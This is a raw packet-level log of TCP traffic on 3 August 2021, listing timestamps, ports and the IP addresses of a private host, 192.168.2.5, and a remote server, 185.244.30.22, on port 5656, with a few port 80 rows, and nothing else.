Aug 3, 2021 11:35:12.893624067 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.897603035 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.897741079 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.899229050 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.899328947 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.902271032 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.902395964 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.903795958 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.903914928 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.906234980 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.906352043 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.908066988 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.908179998 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.910578966 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.910670996 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.912412882 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.912506104 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.918689013 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.918951988 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.920643091 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.920794964 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.922941923 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.923043013 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.926867008 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.927016020 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.936660051 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.936803102 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.939035892 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.939095020 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.939173937 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.939223051 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.939225912 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.939254045 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.939296007 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.939304113 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.945061922 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.945207119 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.947092056 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.947191000 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.949549913 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.949754000 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.951057911 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.951175928 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.953573942 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.953675032 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.955228090 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.955315113 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.976473093 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.976628065 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.978055000 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.978074074 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.978123903 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:12.978143930 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:12.978199959 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:13.221848965 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:13.259712934 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:13.259882927 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:13.532393932 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:13.869324923 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:13.869414091 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:14.141814947 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:15.085033894 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:15.130960941 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:15.131103039 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.598030090 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.598145962 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.599606037 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599646091 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599672079 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599703074 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599735975 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599759102 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.599775076 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.599791050 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599803925 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.599812984 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599837065 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599839926 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.599858046 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.599864960 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.599906921 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.600007057 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.602711916 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.603291035 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.603321075 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.603387117 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.603451967 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.603743076 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.603800058 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.603851080 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.603858948 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.603861094 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.603873968 CEST	5656	49723	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:16.603913069 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:16.604084015 CEST	49723	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:19.164952040 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:19.286250114 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:19.286351919 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:19.298793077 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:19.486764908 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:19.487771988 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:19.641812086 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:19.642139912 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:19.806685925 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:19.806744099 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:19.934422016 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:19.936252117 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.103928089 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.106134892 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.347383976 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.350208044 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.352395058 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.353415966 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.353509903 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.353643894 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.353713036 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.355766058 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.355822086 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.355875969 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.374083042 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.375025988 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.375045061 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.375140905 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.375174046 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.375216961 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.375224113 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.493201971 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.494193077 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.496259928 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.508570910 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.508605003 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.508626938 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.508641958 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.508666039 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.511497974 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.511550903 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.511636972 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.511655092 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.511677980 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.511751890 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.511791945 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.511837006 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.513475895 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.513546944 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.514415979 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.514504910 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.522388935 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.522495031 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.522824049 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.522871971 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.522895098 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.522954941 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.637346029 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.637495995 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.655589104 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.655831099 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.656471014 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.656517029 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.656641006 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.657211065 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.657300949 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.658031940 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.658118963 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.659418106 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.659518003 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.661843061 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.661940098 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.662652016 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.662837029 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.663201094 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.663336992 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.664000034 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.664107084 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.759315014 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.759459972 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.785526991 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.785723925 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.788719893 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.790288925 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.790425062 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.790700912 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.790816069 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.791788101 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.791881084 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.792944908 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.793028116 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.793417931 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.793492079 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.794433117 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.794503927 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.794939995 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.795002937 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.885154963 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.885267019 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.909236908 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.909410000 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.918492079 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.918653965 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.918761969 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.918788910 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.919089079 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.919138908 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.919548035 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.919605017 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.920914888 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.922297001 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.922355890 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.922846079 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.922910929 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.923449993 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.923547983 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:20.924835920 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:20.924911976 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.010402918 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.010508060 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.038968086 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.039041996 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.042027950 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.042099953 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.042735100 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.042794943 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.043987036 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.044127941 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.044617891 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.044744968 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.048531055 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.048734903 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.049345970 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.049451113 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.049730062 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.049794912 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.050400972 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.050515890 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.096362114 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.136689901 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.136841059 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.164163113 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.164686918 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.165591955 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.165743113 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.170495033 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.170516968 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.170648098 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.173326015 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.173531055 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.176325083 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.176465034 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:21.176495075 CEST	5656	49724	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:21.176569939 CEST	49724	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.180615902 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.305617094 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:25.305718899 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.306945086 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.472740889 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:25.472827911 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.592577934 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:25.592686892 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.647881985 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:25.647973061 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.772305012 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:25.773494005 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:25.773557901 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.773597002 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:25.902698994 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:25.903223991 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.072720051 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.072828054 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.112850904 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.112994909 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.113007069 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.113185883 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.126835108 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.126878023 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.127224922 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.127250910 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.127268076 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.127284050 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.127290010 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.127309084 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.127319098 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.127362967 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.140795946 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.140893936 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.143049002 CEST	49678	80	192.168.2.5	67.26.139.254
Aug 3, 2021 11:35:26.163796902 CEST	80	49678	67.26.139.254	192.168.2.5
Aug 3, 2021 11:35:26.163948059 CEST	49678	80	192.168.2.5	67.26.139.254
Aug 3, 2021 11:35:26.236150026 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.236360073 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.237602949 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.237854004 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.238419056 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.238481998 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.249614000 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.249705076 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.255990982 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.256442070 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.256664038 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.256736040 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.257817030 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.257890940 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.258656025 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.258871078 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.263206005 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.263278008 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.263317108 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.263362885 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.263411045 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.263722897 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.264717102 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.265561104 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.266707897 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.266805887 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.267818928 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.267904997 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.270520926 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.270612001 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.271513939 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.271819115 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.272659063 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.273880959 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.360886097 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.362562895 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.363939047 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.364061117 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.364763975 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.365600109 CEST	5656	49725	185.244.30.22	192.168.2.5
